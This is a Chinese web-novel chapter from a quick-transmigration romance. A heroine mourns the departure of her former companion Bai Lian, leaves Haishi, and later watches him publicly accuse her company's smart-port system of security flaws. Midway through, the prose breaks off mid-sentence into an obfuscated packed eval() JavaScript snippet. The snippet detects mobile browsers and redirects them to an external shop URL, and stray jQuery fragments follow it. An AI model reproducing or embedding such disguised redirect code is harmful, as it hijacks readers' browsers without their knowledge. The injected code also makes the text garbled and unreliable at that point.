文趣网 > 都市小说 > 抛弃反派小可怜后[快穿] > 12.她也离开了海市
    沈幼薇站在二楼卧室窗边,身侧的窗帘被她握在手里堆成了一小团花。

    雪还在飘,院墙外的冬青后,他还是穿着那件黑色羽绒服,就这样站在那。

    眼看树被风吹得枝干摇摆,他的帽子被风掀掉,又被他压回去。肩膀全是雪,却不去拍。

    她想知道,他是傻子吗。零下的天,站了将近十分钟,到底想要干什么?要回来拿东西,难道她还真会不给他进门吗?

    短短几天,沈幼薇好几次无意间走神,都会想起解约的那天晚上。

    她判断出白廉爱她,靠的是主神空间的培训课程。但课程没告诉她,一个人说恨你的时候,为什么眼泪先掉下来。

    然而,又单凭白廉说出口的恨,就已经使她有些心烦。

    在此之前,她接下任务的副本,无限、星际、远古、末世几乎都是关于世界故障处理,大多能用简单粗暴的物理方式去解决,比如杀光。

    像这类任务,沈幼薇是极少去接的,但这次叛逃能量不足,没管太多……

    最终都是要离开的……

    可——

    “咚咚咚。”

    卧室门被敲响,打断了沈幼薇的思绪。

    王姐走进来询问她,说是整理出不少她送给白廉的用品,以及儿童房里白玥的玩具。

    问她怎么处理?

    闻言,她握紧窗帘的手滑落到裤缝处,“王姐,你替我去做一件事。”

    *

    王姐从偏门出去的时候,沈幼薇没出声。

    她亲眼看着王姐拎起大型黑色垃圾袋往外走,边走,风大时还卷起塑料袋口,露出里面一抹编织袋的红。

    王姐踩着雪走过去,沈幼薇在耳机里听见她说“白先生,是落东西了吗?”

    又听见他说,“只是走错路了。”

    而后是脚步声,一阵长久的刺啦声下。

    他问:“今年院里堆雪人了吗?”

    闻言,沈幼薇拿着手机的手指一点点收紧。她大脑像被按下了暂停键,忘记开口告诉王姐,她的回答。

    随后她看见王姐回头往院子里看了一眼,对他摇头,将她原本早上说的话复述给他。

    这一次,沈幼薇看清白廉彻底放沉的肩,很细微,但她的眼睛没有漏掉。

    紧接着耳机里传来,他的话。

    “那我先走了。”

    沈幼薇手指释然般松开,手机不受控制坠地发出哐当声,她轻点耳机。

    “王姐,辛苦你再把袋子拿回来。”

    “小姐。”王姐推门进来,黑色垃圾袋搁在玄关矮柜上,袋子口敞着里面没有垃圾,是她当初送给白廉的物件。落下的围巾、笔记本电脑、球拍以及那枚她觉得他很喜欢的胸针。

    她原以为,他是来拿东西的。

    结果,几天没见,他却只是来问一句,‘今年院里堆雪人了吗’

    沈幼薇愣住,勾唇笑了声,对王姐再次确认。

    “他走了?”

    “小姐,白先生他,走了。”

    沈幼薇点头,叫她将黑色塑料袋下编织袋里的东西放回原位,说完转身进了楼下书房。

    走进书房,她停了半步,坐到地毯上的压痕处。她拿起前天她放在这的书,靠着软垫抵着矮桌窝着。

    书页刮着人手腕发痒,沈幼薇就这样一页一页翻过去,看见白廉在里面写下的一行又一行注释。

    明明学的是软件工程,小类属于软件开发。为什么硬要啃船舶智能感知系统架构,他难不成以为自己半路改行,花两年就能把传统海运转型智能化的难题攻破?

    沈幼薇起初看见他在学,并没有质疑与揣测。因为他说,他想多了解,不想她提到这些没话说。

    所以,她好几次看见他搭建系统,了解行业知识,都真信了这个理由。

    现在呢?

    沈幼薇手下翻页的动作越来越快。翻到某一页时她停住了,他推了一半的例题,思路是对的,最后答案算错了。

    她盯着那行错误的结果看了几秒后,才意识到。

    她在逐页翻一个人的笔记,翻到了这种程度。

    “好蠢。”她冷笑了一声,不知道在说谁。

    晚饭王姐端了红枣银耳汤上来,沈幼薇喝了一口放下,不甜也不难喝。

    但以往喝的味道就是不太一样,以前白廉炖甜汤,碗里大枣颗颗看着很大,每颗去核,银耳熬到胶质全出,糖放三分之二小勺。

    想着,她把白廉曾在她耳边念叨的配料及炖煮过程,和王姐重复了一遍。

    站在她身旁准备移动菜盘的王姐,闻言愣了一秒,随即回复道。

    后厨师傅是完全按照同比例做,甚至她说的配法,是白廉问师傅偷学的。

    “是吗?”

    沈幼薇愕然,没再说什么,只让撤了。

    第二天早上她下楼,桌上摆着小米南瓜粥,小菜及溏心蛋。熟悉画面在她眼前重叠,她恍惚听见厨房传来日常呼唤声。

    沈幼薇旋即一步步走到餐桌前,对着一桌早餐对王姐吩咐道。

    “以后,早饭我去公司吃。这一桌,你看着分给值早班的阿姨和师傅。”

    “家里以后不用再做我早饭了。”

    *

    之后半个月,她让乐青把原本照例带回郡林西园处理的文件留在公司。此后,她晚上回家时间从七点推到九点,有时甚至是十点。

    加完班回家,客厅灯不会自己再开。她弯腰换拖鞋进屋,刚走两步又踢到刚换下来的高跟鞋,她重复弯腰将鞋放回鞋柜。

    与此同时,她眼前忽地看见了一颗毛茸茸的脑袋,脑袋抬起,对上是他闪着光的眼睛,视线随着他的动作移动,他伸出手将她把鞋换好,顺手解开她的外套,最后再抱她,暖洋洋的体温刹那裹上她整个人,她会清晰感受到,背后的手掌从上而下替她捋走烦躁。

    也几乎在同一时间,他会告诉她,“辛苦了。”

    沈幼薇噔愣在原地,将所有眼前场景走完。

    稍后她走进厨房,灶台上干干净净,就连水渍都找不到。

    她习惯性往锅里看,一干二净,什么也没有。

    同样也不会有每晚温着汤或者梨水。

    沈幼薇就这样平静地站在那,好一会她缓缓吐出气。明明是气声,声音本是极其微弱,但落在空旷的屋内,却显得格外震耳。

    *

    一晃冬季化去,四月海市的天开始回暖。

    院子里那棵白玉兰开了,花瓣落了一地,王姐叫人扫了,第二天又落一层。

    沈幼薇某天早起站在廊下看那棵树,想起去年春天白廉在这棵树下装了一个鸟食架,说白玉兰招鸟,鸟来多了热闹。

    她说吵,他就拆了。

    现在鸟确实不多,偶尔飞过一两只看着着急赶路,也不停下。

    四月中的一天下午,有位难得客人来访,沈则安。

    他进门扫了一眼,目光在鞋柜第二层那双男士拖鞋上停了半拍。他没问,偏头对王姐说了句:“随便拿双我穿。”

    王姐从最下层翻出客拖,他趿拉着走进书房,把公文包搁在椅子旁边。

    沈幼薇正在看方案,没抬头。

    他环顾书房,发现比他上次来博古架空了几格,文竹换了位置,原来放那张合照的檀木柜顶如今空的。

    桌面上倒多了个白色相框,里面是单人照,像是手机拍完截图打印出来的。

    沈则安收回视线,接过王姐端来的茶喝了一口,味道不错。

    “听乐青说,你最近加班不少。”他放下杯子。

    “你有事?”

    沈幼薇翻页的手指停了一下,继续翻过去:“沈则安,你今天来找我。是为了找不痛快?在我这左看右看,挑东挑西。没事,就回你峰恒去。”

    “上次,你们峰恒报过来的建设合同里关于港口软基础处理,不少报项金额,以及特殊处理措施未标明细。有这工夫,你不去磨发改委港口岸线使用批复。明年秋季前不能按期开工,你看我还找不找你。”

    沈则安靠在椅背上,端着茶杯晃了晃,示意她看向那边公务包。

    “行啦,知道。上次负责人出岔子,我不是也给你赔礼了吗。专项前置批复文件及合同修改都已经到位,就看你们明珠数智科创研发部,最后调试智能调度系统能否完全应用到码头整个物流管理运行了,这可是我们搞智慧码头的数据底座。”

    沈幼薇瞥了他一眼,“在你们峰恒竣工前,我可以保证没问题。”

    聊完正事,沈则安突然发问,“嘉市总公司那边,你多久没回去了?上个月财务会是你主持开的?我怎么还记得上上个月嘉市万隆港口验收你也亲自跑了一趟,后面赶红眼航班回来的吧。”

    沈幼薇抬起眼看他。

    “你有病?有话就直说。”

    “你年纪也不大,多注意休息。”沈则安摊手,“再者,你之前不是还说,在海市晦气,有沈家……算了,是你阿公阿婆让我带话,叫你没事多回去看看。反正如今海市分公司,你也不缺人管。要是不放心,我帮你多看着点。”

    沈幼薇不屑冷哼,“你倒是还挺好心。”

    沈则安无奈叹气,她这一场车祸是把以前聪明劲给撞回来了。但人聪明了,同样更不好搞了。

    “沈幼薇你没觉得,你在海市,住这个园子有些太久了吗?”

    “你阿公阿婆在嘉市,你总是要回去的。”

    沈则安也是接到她阿公阿婆电话,听了点事,加上打听到说她前两年养过人的闲言碎语,才硬撑着跑过来说两句。她虽然还是不怎么待见他,但他明显能感觉出,她的不待见和以前不一样了。

    “我自然清楚。”

    她端起自己的杯子喝了口茶。

    这茶是白廉走前剩下的存货,前年过年他从老家茶山弄来的,事先和她说不值钱。她没在意,也没喝过。

    后来春天来了,她在书房柜子发现了这一罐侧边贴了红帖福字的茶,便喝起来没停。

    茉莉银针,寻常味,但回甘。

    “清楚就行。”

    沈则安放下茶杯,忽视她眼里的孤寂,突然和她八卦。

    他将手机打开到海市新闻页面,推到她面前。“听说裴家最近吵得闹闹哄哄要改集团名?”

    沈幼薇接过他手机,扫了一眼。

    裴寰集团拟更名“泽远”,旗下地产板块分拆独立上市。

    裴泽醒后半年,动作很快,宣布定下婚事,但不公开未婚妻身份,引得外界媒体挖空心思想要挖。

    之后,他在董事会上提出改集团名,遭到不少老董事反对,不过他母亲裴琴晚倒是全力支持。

    “挺好的。”她把文件放回去。

    “行了,该说我也说完了。”

    沈则安站起身,“走了。”

    看在他这次没讲多少废话的份上,沈幼薇送他到门口。

    沈则安走在前面,沈幼薇凝视着沈则安的背影,忽然她脑海里浮现出他第一次来沈家的场景。

    原身那天发着烧,他淋着雨被沈建国领回家。家里管家佣人都是见风使舵的,没人给他拿条毛巾。

    而烧得迷迷糊糊的原身,看见他站在大厅,以为是沈建国带谁家亲戚小孩回来。

    看着比她年纪大,她就懂礼貌喊了声“哥”。

    那天晚上,有两个小倒霉蛋,一个顶着凉毛巾物理降温,一个拿着毛巾擦脸上湿漉漉的雨水。

    之后原身知晓沈则安的来历,一度不敢相信试图欺骗蒙蔽自己。

    她不敢想平日将她捧在心尖上的父亲,竟在大学毕业后背着为他与家里决裂的母亲,偷偷在老家与沈则安母亲办桌生子,彼时她的母亲为他奔走,沈则安的母亲则为他留守。

    于是在原身激烈的询问下,她又被沈建国三言两语诓骗,扭曲事实真相,让她将母亲不久前因病离世的痛,全数转移到了沈则安身上。

    而那时沈则安也是个愣头的,还帮着刚满十八岁的原身干了不少蠢事。

    好像就为她能开心点,妄图能和睦相处。

    并且原身撞车前的最后一通电话也是他打的。

    把送人上车,沈则安临走前回头看了沈幼薇一眼:“实话说,你这院子,比以前有人气。以前像个酒店,现在倒像个家。”

    *

    沈幼薇回屋,坐回书房椅子上,把那杯茶喝完。她端着空杯,坐在那没动,听窗外鸟叫了一声,又一声。

    等快入夏,沈幼薇才发现自己好几天没关过书房的窗。有人在家的话,有人晚上会关窗,拉上纱帘防虫。

    某天晚上她坐在书桌前看报告,纱帘没拉,窗外飞进来一只蛾子,绕着台灯扑了两圈。

    她伸手赶了一下,蛾子撞上灯罩掉在桌面上,翅膀还在扑。

    她看了它两秒,抽了张纸巾,轻轻裹住放到窗外。

    蛾子飞走了。

    她看着它飞进夜色里,没有回头。

    第二天下午,沈幼薇正在嘉市分公司会议室跟技术总监对港口数据接口

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17741709|208745||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    方案,耳边突然响起“叮”的一声。

    系统面板自动弹出,悬浮在视线左侧。

    小七的声音从脑海深处冒出来,这段时间它看着主人的精神波动,好几次开口又被其打回去:【主人,白廉昨晚已离开海市,目的地未定。世界线补偿机制已启动,初步判定他前往京市。】

    沈幼薇的笔尖落在会议记录纸上,没动。

    技术总监说完最后一句话,抬头看她:“沈总?这个节点你看……”

    “继续。”她把笔放下了,声音平得像水。

    会议又开了四十分钟,散场后乐青进来收文件,看见沈幼薇站在窗边。

    窗外是海市夏天最寻常的景,路上一排排樟树绿得油亮,假若推开窗透风还能听见蝉鸣从楼下那排树冠里传上来,一声叠一声。沈幼薇的手垂在身侧,眼神望向远方又放空。

    “沈总?”

    “没事。”沈幼薇转身,拿起桌上的笔,“下午的会推掉。”

    乐青看了一眼她脸色,没多问,点头出去了。

    沈幼薇回到董事长办公室,坐在桌前她低头仔细看向手心,五指收拢又张开。皮肤上有汗,黏腻感有些重。

    桌面摊着她今天上午签过字的文件,每份文件下都写今日的日期。

    六月二十八。

    白廉离开郡林西园那天下着大雪,现在窗外蝉鸣连成片,樟树都从抽出嫩绿到浓绿。

    这一切,让她刚意识到,原来已经过去了半年。

    以前那两年,白廉在郡林西园里来见她,等着她,到离开。

    她直到此刻才发现,他有着很厉害的本事。

    他把时间切成了一段又一段。他在的日子里,是有节日,有行程,有活动。

    而在他走后,日子变成一整块饼,不分早中晚,她在公司待到几点都一样。

    她以为忙起来就不会注意到,直到提示音推进了她耳朵。

    沈幼薇把文件放下,手搭在桌沿上,掌心按着木板边缘。

    “小七。”

    小七从她肩头探出来,毛色比半年前亮了些,但眼神试探着,小心翼翼:【主人。】

    “他走了。”

    果然,他终究被世界线推着离开了。

    小七没说话,用头蹭了蹭她的肩膀。

    沈幼薇把手机拿起来,打开通讯录,翻了翻又锁屏。

    当晚她很早回到了郡林西园,王姐在玄关接了她的外套,问了一句:“小姐,晚饭用过了吗?”

    “用过了。”

    “王姐。”她背对着人,声音不高,“我们回嘉市吧。”

    王姐拿着外套的手顿住,试探地问:“小姐是打算回去长住?还是?那这边房子需要我安排人打理,还是转卖……”

    “不卖。”沈幼薇转过身,看见王姐正看着她。她眼睫低垂,再抬起来时,神情如常,“所有东西保持原样。你跟我回嘉市,其他人也一起过去。海市分公司我请经理人管,以后没特殊情况,不会再回来了。”

    王姐点头,应了一声好,转身要走,突然又像是想起什么停下脚步:“小姐,楼上白玥小姐那间儿童房……有不少东西没收拾。之前您吩咐不动,这次要带走吗?”

    “继续放着。不动。”她说。

    王姐没有再问,抱着外套往衣帽间走去。

    沈幼薇走进书房,窝到熟悉的地毯上坐下。

    羊毛毯从入夏后,就被王姐给换掉了,换成薄薄凉凉的地毯。

    窗户开着,纱帘半拉,晚风灌进来,带着夏夜的湿气。

    她坐在这,坐了很长时间。

    直到窗外的天从霞色变成墨色,院里廊灯亮起,光从纱帘缝隙透进来,落在地面上。

    那一刻,书房外,合院门被推开。风吹进来,纱帘扬起又落下。

    沈幼薇才发现。

    “原来,你每天都等了我好久好久。”

    *

    后来的日子过得很快。她回嘉市,把海市分公司交给经理人管。

    再听到白廉的名字,已经是第二年的八月。

    海市快讯于八月一日报道,其艾艉科技总执行白廉在智慧港航峰会上公开质疑峰恒集团智慧港口系统存在重大数据安全漏洞,称“核心模块未经第三方审计即上线,存在严重技术缺陷”,并指该漏洞可能导致港口调度数据被篡改,影响航运安全。

    言论一出在峰会现场引发轩然大波,峰恒集团股价午盘后迅速跳水。

    峰会结束后记者围堵区,镜头与麦克风挤成一面墙。

    白廉站在人群中心,藏青色平驳领西装在聚光灯下泛着内敛哑光,显得肩线平直利落,单排两粒扣只系上方一颗,却正是恰到好处收腰。

    他的目光越过层层设备落在正前方一台摄像机的红点上,声音不大,但字字清晰。

    “智慧港口的数据底座不是面子工程,是安全命脉。峰恒集团去年上线的调度系统,感知层数据融合模块未经公开审计即投入使用,存在被外部渗透的风险。”

    他顿了一下,唇角勾起冷笑。

    “虽说,我入行一年,但深耕不止这一年。我司自主研发的码头区块链单证与供应链数字技术,是以适用于多家航运海业,且被纳入多项国家发明专利授权。架构不会撒谎。”

    有记者追问:“您指的是不是峰恒与明珠海业合作的湾区智慧港口项目?该项目由沈幼薇沈总主导技术部分,您是否在暗示该项目存在根本性设计问题?”

    屏幕里镜头切换成近景,几乎怼到他棱角分明的侧脸,三秒后,还没等沈幼薇看清就切走了。

    白廉没有回避,他轻笑偏了一下头,目光冷而平。

    “技术问题不谈个人,只看架构。如果明珠海业的技术团队在项目验收前没有完成全链路测试,那就是对整个港口运营的不负责。至于沈总,她人不在海市,但这责任,跑不了。”

    他抬手理了理西装领口,转身穿过人群,没有再多说一个字。身后记者们的快门声响成一片,追问声被会场的玻璃门隔绝。

    当晚,财经频道滚动播出的新闻标题是:“艾艉科技创始人当众‘开炮’,峰恒与明珠海业联手项目再陷舆论旋涡,其主要负责人沈则安紧急回应称‘已启动内部核查’。”

    而白廉的名字,一夜之间,从技术圈彻底破圈。

    乐青关掉视频的时候,沈幼薇正站在明珠海业顶层办公室的窗边。

    风吹进来,桌面上文件被掀起一角。她没回头,只说了一句:“瘦了。”